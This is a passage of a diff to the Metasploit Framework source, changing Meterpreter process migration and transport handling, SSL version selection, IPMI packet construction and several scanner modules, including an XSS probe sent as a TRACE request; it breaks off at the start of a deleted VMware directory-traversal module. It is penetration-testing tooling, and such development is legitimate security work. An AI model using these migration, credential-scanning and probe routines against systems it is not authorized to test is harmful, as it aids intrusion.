client.sys.process.processes.each { | p |
|
client.sys.process.processes.each { | p |
|
||||||
|
@ -452,7 +452,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# We cant migrate into a process that does not exist.
|
# We cant migrate into a process that does not exist.
|
||||||
unless process
|
unless process
|
||||||
raise RuntimeError, "Cannot migrate into non existent process", caller
|
raise RuntimeError, 'Cannot migrate into non existent process', caller
|
||||||
end
|
end
|
||||||
|
|
||||||
# We cannot migrate into a process that we are unable to open
|
# We cannot migrate into a process that we are unable to open
|
||||||
|
@ -465,7 +465,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# And we also cannot migrate into our own current process...
|
# And we also cannot migrate into our own current process...
|
||||||
if process['pid'] == client.sys.process.getpid
|
if process['pid'] == client.sys.process.getpid
|
||||||
raise RuntimeError, "Cannot migrate into current process", caller
|
raise RuntimeError, 'Cannot migrate into current process', caller
|
||||||
end
|
end
|
||||||
|
|
||||||
if client.platform =~ /linux/
|
if client.platform =~ /linux/
|
||||||
|
@ -490,13 +490,13 @@ class ClientCore < Extension
|
||||||
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
|
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
|
||||||
|
|
||||||
if socket_path.length > UNIX_PATH_MAX - 1
|
if socket_path.length > UNIX_PATH_MAX - 1
|
||||||
raise RuntimeError, "The writable dir is too long", caller
|
raise RuntimeError, 'The writable dir is too long', caller
|
||||||
end
|
end
|
||||||
|
|
||||||
pos = blob.index(DEFAULT_SOCK_PATH)
|
pos = blob.index(DEFAULT_SOCK_PATH)
|
||||||
|
|
||||||
if pos.nil?
|
if pos.nil?
|
||||||
raise RuntimeError, "The meterpreter binary is wrong", caller
|
raise RuntimeError, 'The meterpreter binary is wrong', caller
|
||||||
end
|
end
|
||||||
|
|
||||||
blob[pos, socket_path.length + 1] = socket_path + "\x00"
|
blob[pos, socket_path.length + 1] = socket_path + "\x00"
|
||||||
|
@ -510,14 +510,17 @@ class ClientCore < Extension
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
||||||
|
|
||||||
if process['arch'] == ARCH_X86_64
|
if process['arch'] == ARCH_X86_64
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
||||||
else
|
else
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
|
||||||
end
|
end
|
||||||
|
|
||||||
# Send the migration request (bump up the timeout to 60 seconds)
|
# Send the migration request. Timeout can be specified by the caller, or set to a min
|
||||||
client.send_request( request, 60 )
|
# of 60 seconds.
|
||||||
|
timeout = [(opts[:timeout] || 0), 60].max
|
||||||
|
client.send_request(request, timeout)
|
||||||
|
|
||||||
if client.passive_service
|
if client.passive_service
|
||||||
# Sleep for 5 seconds to allow the full handoff, this prevents
|
# Sleep for 5 seconds to allow the full handoff, this prevents
|
||||||
|
@ -539,7 +542,7 @@ class ClientCore < Extension
|
||||||
# keep from hanging the packet dispatcher thread, which results
|
# keep from hanging the packet dispatcher thread, which results
|
||||||
# in blocking the entire process.
|
# in blocking the entire process.
|
||||||
begin
|
begin
|
||||||
Timeout.timeout(60) do
|
Timeout.timeout(timeout) do
|
||||||
# Renegotiate SSL over this socket
|
# Renegotiate SSL over this socket
|
||||||
client.swap_sock_ssl_to_plain()
|
client.swap_sock_ssl_to_plain()
|
||||||
client.swap_sock_plain_to_ssl()
|
client.swap_sock_plain_to_ssl()
|
||||||
|
|
|
@ -28,6 +28,9 @@ class Console::CommandDispatcher::Core
|
||||||
self.extensions = []
|
self.extensions = []
|
||||||
self.bgjobs = []
|
self.bgjobs = []
|
||||||
self.bgjob_id = 0
|
self.bgjob_id = 0
|
||||||
|
|
||||||
|
# keep a lookup table to refer to transports by index
|
||||||
|
@transport_map = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
@@irb_opts = Rex::Parser::Arguments.new(
|
@@irb_opts = Rex::Parser::Arguments.new(
|
||||||
|
@ -571,6 +574,7 @@ class Console::CommandDispatcher::Core
|
||||||
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
|
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
|
||||||
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
|
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
|
||||||
'-p' => [ true, 'LPORT parameter' ],
|
'-p' => [ true, 'LPORT parameter' ],
|
||||||
|
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
|
||||||
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
|
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
|
||||||
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
|
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
|
||||||
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
|
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
|
||||||
|
@ -601,6 +605,13 @@ class Console::CommandDispatcher::Core
|
||||||
print_line(@@transport_opts.usage)
|
print_line(@@transport_opts.usage)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def update_transport_map
|
||||||
|
result = client.core.transport_list
|
||||||
|
@transport_map.clear
|
||||||
|
sorted_by_url = result[:transports].sort_by { |k| k[:url] }
|
||||||
|
sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t }
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Manage transports
|
# Manage transports
|
||||||
#
|
#
|
||||||
|
@ -637,12 +648,15 @@ class Console::CommandDispatcher::Core
|
||||||
}
|
}
|
||||||
|
|
||||||
valid = true
|
valid = true
|
||||||
|
transport_index = 0
|
||||||
@@transport_opts.parse(args) do |opt, idx, val|
|
@@transport_opts.parse(args) do |opt, idx, val|
|
||||||
case opt
|
case opt
|
||||||
when '-c'
|
when '-c'
|
||||||
opts[:cert] = val
|
opts[:cert] = val
|
||||||
when '-u'
|
when '-u'
|
||||||
opts[:uri] = val
|
opts[:uri] = val
|
||||||
|
when '-i'
|
||||||
|
transport_index = val.to_i
|
||||||
when '-ph'
|
when '-ph'
|
||||||
opts[:proxy_host] = val
|
opts[:proxy_host] = val
|
||||||
when '-pp'
|
when '-pp'
|
||||||
|
@ -685,13 +699,21 @@ class Console::CommandDispatcher::Core
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
update_transport_map
|
||||||
|
|
||||||
case command
|
case command
|
||||||
when 'list'
|
when 'list'
|
||||||
result = client.core.transport_list
|
result = client.core.transport_list
|
||||||
|
|
||||||
|
current_transport_url = result[:transports].first[:url]
|
||||||
|
|
||||||
|
sorted_by_url = result[:transports].sort_by { |k| k[:url] }
|
||||||
|
|
||||||
# this will output the session timeout first
|
# this will output the session timeout first
|
||||||
print_timeouts(result)
|
print_timeouts(result)
|
||||||
|
|
||||||
columns =[
|
columns =[
|
||||||
|
'ID',
|
||||||
'Curr',
|
'Curr',
|
||||||
'URL',
|
'URL',
|
||||||
'Comms T/O',
|
'Comms T/O',
|
||||||
|
@ -709,16 +731,13 @@ class Console::CommandDispatcher::Core
|
||||||
|
|
||||||
# next draw up a table of transport entries
|
# next draw up a table of transport entries
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
'SortIndex' => -1, # disable any sorting
|
'SortIndex' => 0, # sort by ID
|
||||||
'Indent' => 4,
|
'Indent' => 4,
|
||||||
'Columns' => columns)
|
'Columns' => columns)
|
||||||
|
|
||||||
first = true
|
sorted_by_url.each_with_index do |t, i|
|
||||||
result[:transports].each do |t|
|
entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url],
|
||||||
entry = [ first ? '*' : '', t[:url], t[:comm_timeout],
|
t[:comm_timeout], t[:retry_total], t[:retry_wait] ]
|
||||||
t[:retry_total], t[:retry_wait] ]
|
|
||||||
|
|
||||||
first = false
|
|
||||||
|
|
||||||
if opts[:verbose]
|
if opts[:verbose]
|
||||||
entry << t[:ua]
|
entry << t[:ua]
|
||||||
|
@ -772,6 +791,22 @@ class Console::CommandDispatcher::Core
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if !transport_index.zero? && @transport_map.has_key?(transport_index)
|
||||||
|
# validate the URL
|
||||||
|
url_to_delete = @transport_map[transport_index][:url]
|
||||||
|
begin
|
||||||
|
uri = URI.parse(url_to_delete)
|
||||||
|
opts[:transport] = "reverse_#{uri.scheme}"
|
||||||
|
opts[:lhost] = uri.host
|
||||||
|
opts[:lport] = uri.port
|
||||||
|
opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http")
|
||||||
|
|
||||||
|
rescue URI::InvalidURIError
|
||||||
|
print_error("Failed to parse URL: #{url_to_delete}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
print_status("Removing transport ...")
|
print_status("Removing transport ...")
|
||||||
if client.core.transport_remove(opts)
|
if client.core.transport_remove(opts)
|
||||||
print_good("Successfully removed #{opts[:transport]} transport.")
|
print_good("Successfully removed #{opts[:transport]} transport.")
|
||||||
|
@ -781,15 +816,21 @@ class Console::CommandDispatcher::Core
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@@migrate_opts = Rex::Parser::Arguments.new(
|
||||||
|
'-p' => [true, 'Writable path - Linux only (eg. /tmp).'],
|
||||||
|
'-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'],
|
||||||
|
'-h' => [false, 'Help menu.']
|
||||||
|
)
|
||||||
|
|
||||||
def cmd_migrate_help
|
def cmd_migrate_help
|
||||||
if client.platform =~ /linux/
|
if client.platform =~ /linux/
|
||||||
print_line "Usage: migrate <pid> [writable_path]"
|
print_line('Usage: migrate <pid> [-p writable_path] [-t timeout]')
|
||||||
else
|
else
|
||||||
print_line "Usage: migrate <pid>"
|
print_line('Usage: migrate <pid> [-t timeout]')
|
||||||
end
|
end
|
||||||
print_line
|
print_line
|
||||||
print_line "Migrates the server instance to another process."
|
print_line('Migrates the server instance to another process.')
|
||||||
print_line "NOTE: Any open channels or other dynamic state will be lost."
|
print_line('NOTE: Any open channels or other dynamic state will be lost.')
|
||||||
print_line
|
print_line
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -800,19 +841,29 @@ class Console::CommandDispatcher::Core
|
||||||
# platforms a path for the unix domain socket used for IPC.
|
# platforms a path for the unix domain socket used for IPC.
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def cmd_migrate(*args)
|
def cmd_migrate(*args)
|
||||||
if ( args.length == 0 or args.include?("-h") )
|
if args.length == 0 || args.include?('-h')
|
||||||
cmd_migrate_help
|
cmd_migrate_help
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
pid = args[0].to_i
|
pid = args[0].to_i
|
||||||
if(pid == 0)
|
if pid == 0
|
||||||
print_error("A process ID must be specified, not a process name")
|
print_error('A process ID must be specified, not a process name')
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if client.platform =~ /linux/
|
writable_dir = nil
|
||||||
writable_dir = (args.length >= 2) ? args[1] : nil
|
opts = {
|
||||||
|
timeout: nil
|
||||||
|
}
|
||||||
|
|
||||||
|
@@transport_opts.parse(args) do |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when '-t'
|
||||||
|
opts[:timeout] = val.to_i
|
||||||
|
when '-p'
|
||||||
|
writable_dir = val
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
@ -834,7 +885,7 @@ class Console::CommandDispatcher::Core
|
||||||
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
|
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
|
||||||
next unless opts['MeterpreterRelay']
|
next unless opts['MeterpreterRelay']
|
||||||
if existing_relays.empty?
|
if existing_relays.empty?
|
||||||
print_status("Removing existing TCP relays...")
|
print_status('Removing existing TCP relays...')
|
||||||
end
|
end
|
||||||
if (service.stop_tcp_relay(lport, lhost))
|
if (service.stop_tcp_relay(lport, lhost))
|
||||||
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||||
|
@ -855,19 +906,15 @@ class Console::CommandDispatcher::Core
|
||||||
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
|
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
|
||||||
|
|
||||||
# Do this thang.
|
# Do this thang.
|
||||||
if client.platform =~ /linux/
|
client.core.migrate(pid, writable_dir, opts)
|
||||||
client.core.migrate(pid, writable_dir)
|
|
||||||
else
|
|
||||||
client.core.migrate(pid)
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Migration completed successfully.")
|
print_status('Migration completed successfully.')
|
||||||
|
|
||||||
# Update session info (we may have a new username)
|
# Update session info (we may have a new username)
|
||||||
client.update_session_info
|
client.update_session_info
|
||||||
|
|
||||||
unless existing_relays.empty?
|
unless existing_relays.empty?
|
||||||
print_status("Recreating TCP relay(s)...")
|
print_status('Recreating TCP relay(s)...')
|
||||||
existing_relays.each do |r|
|
existing_relays.each do |r|
|
||||||
client.pfservice.start_tcp_relay(r[:lport], r[:opts])
|
client.pfservice.start_tcp_relay(r[:lport], r[:opts])
|
||||||
print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}")
|
print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}")
|
||||||
|
|
|
@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys
|
||||||
# Lists running processes.
|
# Lists running processes.
|
||||||
#
|
#
|
||||||
def cmd_ps(*args)
|
def cmd_ps(*args)
|
||||||
|
if args.include?('-h')
|
||||||
|
cmd_ps_help
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
# Init vars
|
# Init vars
|
||||||
processes = client.sys.process.get_processes
|
processes = client.sys.process.get_processes
|
||||||
search_term = nil
|
search_term = nil
|
||||||
|
@ -435,9 +440,6 @@ class Console::CommandDispatcher::Stdapi::Sys
|
||||||
print_error("Enter a search term")
|
print_error("Enter a search term")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
when '-h'
|
|
||||||
cmd_ps_help
|
|
||||||
return true
|
|
||||||
when "-A"
|
when "-A"
|
||||||
print_line "Filtering on arch..."
|
print_line "Filtering on arch..."
|
||||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||||
|
|
|
@ -86,14 +86,16 @@ class Utils
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username)
|
def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username)
|
||||||
[
|
head = [
|
||||||
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
||||||
0x06, # RMCP+ Authentication Type
|
0x06, # RMCP+ Authentication Type
|
||||||
PAYLOAD_RAKP1, # Payload Type
|
PAYLOAD_RAKP1, # Payload Type
|
||||||
0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
|
0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00
|
].pack("C*")
|
||||||
].pack("C*") +
|
|
||||||
|
data =
|
||||||
|
[0x00, 0x00, 0x00, 0x00].pack("C*") +
|
||||||
bmc_session_id +
|
bmc_session_id +
|
||||||
console_random_id +
|
console_random_id +
|
||||||
[
|
[
|
||||||
|
@ -101,6 +103,8 @@ class Utils
|
||||||
username.length
|
username.length
|
||||||
].pack("C*") +
|
].pack("C*") +
|
||||||
username
|
username
|
||||||
|
|
||||||
|
head + [data.length].pack('v') + data
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -56,52 +56,38 @@ begin
|
||||||
def initsock(params = nil)
|
def initsock(params = nil)
|
||||||
super
|
super
|
||||||
|
|
||||||
# The autonegotiation preference for SSL/TLS versions
|
# Default to SSLv23 (automatically negotiate)
|
||||||
versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2]
|
version = :SSLv23
|
||||||
|
|
||||||
# Limit this to a specific SSL/TLS version if specified
|
# Let the caller specify a particular SSL/TLS version
|
||||||
if params
|
if params
|
||||||
case params.ssl_version
|
case params.ssl_version
|
||||||
when 'SSL2', :SSLv2
|
when 'SSL2', :SSLv2
|
||||||
versions = [:SSLv2]
|
version = :SSLv2
|
||||||
when 'SSL23', :SSLv23
|
when 'SSL23', :SSLv23
|
||||||
versions = [:SSLv23]
|
version = :SSLv23
|
||||||
when 'SSL3', :SSLv3
|
when 'SSL3', :SSLv3
|
||||||
versions = [:SSLv3]
|
version = :SSLv3
|
||||||
when 'TLS1', :TLSv1
|
when 'TLS1','TLS1.0', :TLSv1
|
||||||
versions = [:TLSv1]
|
version = :TLSv1
|
||||||
else
|
when 'TLS1.1', :TLSv1_1
|
||||||
# Leave the version list as-is (Auto)
|
version = :TLSv1_1
|
||||||
|
when 'TLS1.2', :TLSv1_2
|
||||||
|
version = :TLSv1_2
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Limit our versions to those supported by the linked OpenSSL library
|
|
||||||
versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v }
|
|
||||||
|
|
||||||
# Raise an error if no selected versions are supported
|
# Raise an error if no selected versions are supported
|
||||||
if versions.length == 0
|
if ! OpenSSL::SSL::SSLContext::METHODS.include? version
|
||||||
raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version'
|
raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version'
|
||||||
end
|
end
|
||||||
|
|
||||||
last_error = nil
|
|
||||||
|
|
||||||
# Iterate through SSL/TLS versions until we successfully negotiate
|
|
||||||
versions.each do |version|
|
|
||||||
begin
|
|
||||||
# Try intializing the socket with this SSL/TLS version
|
# Try intializing the socket with this SSL/TLS version
|
||||||
# This will throw an exception if it fails
|
# This will throw an exception if it fails
|
||||||
initsock_with_ssl_version(params, version)
|
initsock_with_ssl_version(params, version)
|
||||||
|
|
||||||
# Success! Record what method was used and return
|
# Track the SSL version
|
||||||
self.ssl_negotiated_version = version
|
self.ssl_negotiated_version = version
|
||||||
return
|
|
||||||
rescue OpenSSL::SSL::SSLError => e
|
|
||||||
last_error = e
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# No SSL/TLS versions succeeded, raise the last error
|
|
||||||
raise last_error
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def initsock_with_ssl_version(params, version)
|
def initsock_with_ssl_version(params, version)
|
||||||
|
@ -137,9 +123,6 @@ begin
|
||||||
# Tie the context to a socket
|
# Tie the context to a socket
|
||||||
self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx)
|
self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx)
|
||||||
|
|
||||||
# XXX - enabling this causes infinite recursion, so disable for now
|
|
||||||
# self.sslsock.sync_close = true
|
|
||||||
|
|
||||||
# Force a negotiation timeout
|
# Force a negotiation timeout
|
||||||
begin
|
begin
|
||||||
Timeout.timeout(params.timeout) do
|
Timeout.timeout(params.timeout) do
|
||||||
|
|
|
@ -1522,7 +1522,10 @@ module Text
|
||||||
# @param data [#delete]
|
# @param data [#delete]
|
||||||
# @param badchars [String] A list of characters considered to be bad
|
# @param badchars [String] A list of characters considered to be bad
|
||||||
def self.remove_badchars(data, badchars = '')
|
def self.remove_badchars(data, badchars = '')
|
||||||
data.delete(badchars)
|
return data if badchars.length == 0
|
||||||
|
badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join
|
||||||
|
data.gsub!(/[#{badchars_pat}]/n, '')
|
||||||
|
data
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -1531,7 +1534,8 @@ module Text
|
||||||
# @param keepers [String]
|
# @param keepers [String]
|
||||||
# @return [String] All characters not contained in +keepers+
|
# @return [String] All characters not contained in +keepers+
|
||||||
def self.charset_exclude(keepers)
|
def self.charset_exclude(keepers)
|
||||||
[*(0..255)].pack('C*').delete(keepers)
|
excluded_bytes = [*(0..255)] - keepers.unpack("C*")
|
||||||
|
excluded_bytes.pack("C*")
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||||
# Needed for Meterpreter
|
# Needed for Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.10'
|
spec.add_runtime_dependency 'metasploit-payloads', '1.0.12'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
|
|
|
@ -43,8 +43,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("#{ip} No certificate subject or CN found")
|
print_status("#{ip} No certificate subject or CN found")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
issuer_pattern = Regexp.new(datastore['ISSUER'], [Regexp::EXTENDED, 'n'])
|
|
||||||
sub = cert.subject.to_a
|
sub = cert.subject.to_a
|
||||||
|
|
||||||
before = Time.parse("#{cert.not_before}")
|
before = Time.parse("#{cert.not_before}")
|
||||||
|
@ -61,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( "#{cert.issuer}" !~ /#{issuer_pattern}/)
|
if cert.issuer.to_s !~ /#{datastore['ISSUER']}/n
|
||||||
print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" )
|
print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" )
|
||||||
elsif datastore['SHOWALL']
|
elsif datastore['SHOWALL']
|
||||||
# show verbose as status
|
# show verbose as status
|
||||||
|
|
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
if rport == 443 or ssl
|
if rport == 443 or ssl
|
||||||
proto = "https"
|
proto = "https"
|
||||||
end
|
end
|
||||||
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
|
"#{proto}://#{vhost}:#{rport}#{@uri.to_s}"
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
@ -127,15 +127,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_error("You need need to set AUTH_URI when using PUT Method !")
|
print_error("You need need to set AUTH_URI when using PUT Method !")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
extra_info = ""
|
||||||
|
if rhost != vhost
|
||||||
|
extra_info = " (#{rhost})"
|
||||||
|
end
|
||||||
|
|
||||||
@uri = find_auth_uri
|
@uri = find_auth_uri
|
||||||
if ! @uri
|
if ! @uri
|
||||||
print_error("#{target_url} No URI found that asks for HTTP authentication")
|
print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
@uri = "/#{@uri}" if @uri[0,1] != "/"
|
@uri = "/#{@uri}" if @uri[0,1] != "/"
|
||||||
|
|
||||||
print_status("Attempting to login to #{target_url}")
|
print_status("Attempting to login to #{target_url}#{extra_info}")
|
||||||
|
|
||||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||||
|
|
|
@ -15,9 +15,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'HTTP TRACE Detection',
|
'Name' => 'HTTP Cross-Site Tracing Detection',
|
||||||
'Description' => 'Test if TRACE is actually enabled. 405 (Apache) 501(IIS) if its disabled, 200 if it is',
|
'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)',
|
||||||
'Author' => ['CG'],
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker
|
||||||
|
'CG' #HTTP TRACE Detection
|
||||||
|
],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
@ -26,39 +30,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
begin
|
begin
|
||||||
res = send_request_raw({
|
res = send_request_raw({
|
||||||
'version' => '1.0',
|
'uri' => '/<script>alert(1337)</script>', #XST Payload
|
||||||
'uri' => '/',
|
|
||||||
'method' => 'TRACE',
|
'method' => 'TRACE',
|
||||||
'headers' =>
|
})
|
||||||
{
|
|
||||||
'Cookie' => "did you echo me back?",
|
|
||||||
},
|
|
||||||
}, 10)
|
|
||||||
|
|
||||||
if res.nil?
|
unless res
|
||||||
print_error("no repsonse for #{target_host}")
|
vprint_error("#{rhost}:#{rport} did not reply to our request")
|
||||||
elsif (res.code == 200)
|
return
|
||||||
print_good("#{target_host}:#{rport}-->#{res.code}")
|
end
|
||||||
print_good("Response Headers:\n #{res.headers}")
|
|
||||||
print_good("Response Body:\n #{res.body}")
|
if res.body.to_s.index('/<script>alert(1337)</script>')
|
||||||
print_good("TRACE appears to be enabled on #{target_host}:#{rport} \n")
|
print_good("#{rhost}:#{rport} is vulnerable to Cross-Site Tracing")
|
||||||
report_note(
|
report_vuln(
|
||||||
:host => target_host,
|
:host => rhost,
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:proto => 'tcp',
|
:proto => 'tcp',
|
||||||
:sname => (ssl ? 'https' : 'http'),
|
:sname => (ssl ? 'https' : 'http'),
|
||||||
:type => 'service.http.method.trace',
|
:info => "Vulnerable to Cross-Site Tracing",
|
||||||
:data => "TRACE method is enabled for this service",
|
|
||||||
:update => :unique_data
|
|
||||||
)
|
)
|
||||||
elsif (res.code == 501)#Not Implemented
|
|
||||||
print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #IIS
|
|
||||||
elsif (res.code == 405)#Method Not Allowed
|
|
||||||
print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #Apache
|
|
||||||
else
|
else
|
||||||
print_status("#{res.code}")
|
vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}")
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,87 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
|
||||||
|
|
||||||
# Exploit mixins should be called first
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
# Scanner mixin should be near last
|
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
include Msf::Module::Deprecated
|
|
||||||
|
|
||||||
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav')
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'VMware Server Directory Traversal Vulnerability',
|
|
||||||
'Description' => 'This modules exploits the VMware Server Directory Traversal
|
|
||||||
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
|
|
||||||
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
|
|
||||||
allows remote attackers to read arbitrary files. Common VMware server ports
|
|
||||||
